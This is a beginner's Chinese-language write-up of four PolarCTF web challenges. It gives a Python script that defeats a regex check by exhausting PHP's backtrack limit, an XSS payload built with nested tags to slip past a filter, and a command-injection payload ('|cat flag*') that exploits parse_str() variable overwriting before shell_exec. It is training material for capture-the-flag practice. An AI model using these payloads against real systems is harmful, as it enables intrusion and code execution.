1.WEB swp
1.打开实例查看页面,提示有.swp文件。
2.dir扫一下,有所发现。
3.进入index.php.swp中查看。
分析一下可以发现需要post一个xdmtql=sys nb。
除此之外需要注意的是,在代码中使用了正则表达式,并且出现了.*,这个时候可以利用正则匹配回溯机制,不断地进行回溯。(这个地方一开始没看出来,看了WP才发现原来是这样,长芝士辣!)
PHP通过pcre.backtrack_limit
这个配置选项来设置这个回溯次数的上限。默认值是100万次。
4.根据代码分析后写脚本。
import requests
from io import BytesIO
data = {
'xdmtql': BytesIO(b'sys nb' + b'a' * 1000000)
}
res = requests.post('http://7b04038a-91c9-460d-8137-31b0044ff430.www.polarctf.com:8090/',data=data)
print(res.text)
运行得到flag。
2.WEB 召唤神龙
1.打开实例发现是小游戏,玩了半天才意识到我是来找flag的(bushi)。
2抓包没返回的内容,难搞。
3.查看网页源代码,在main.js中有所发现。
4.放到控制台上执行一波,得到flag。
3.WEB 浮生日记
1.打开实例。
2.查看到实例的标题叫弹个窗让我康康。
使用常见payload:
<script>alert(1)</script>
上传后没反应,查看网页源代码。
3.这个题目把一些关键字都过滤掉了,并且需要闭合前面的单引号。
所以修改payload:
"> <scrscriptipt>alert("1")</scrscriptipt>
4.跳转得到flag。
4.WEB 干正则
1.查看实例,分析代码。
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
根据代码可以知道,如果get请求方式传入id,就会包含flag.php
文件,使 id
的值经过 parse_str()
函数的过滤进行变量覆盖。
我们知道 $a[0]
是w,但是我们可利用 parse_str()
函数的变量覆盖重新对 $a[0]
的值进行改变。
所以我们可以将$a[0]
覆盖成www.polarctf.com,可以利用get传参。
除此之外,还有命令执行函数,所以我们可以利用它拿到flag。
注:这里有正则匹配,所以cat flag时需要使用flag*。
2.Payload:
?id=a[0]=www.polarctf.com&cmd=|cat flag*
查看源代码,秒了。
纯小白刷题,如有错误,欢迎指正!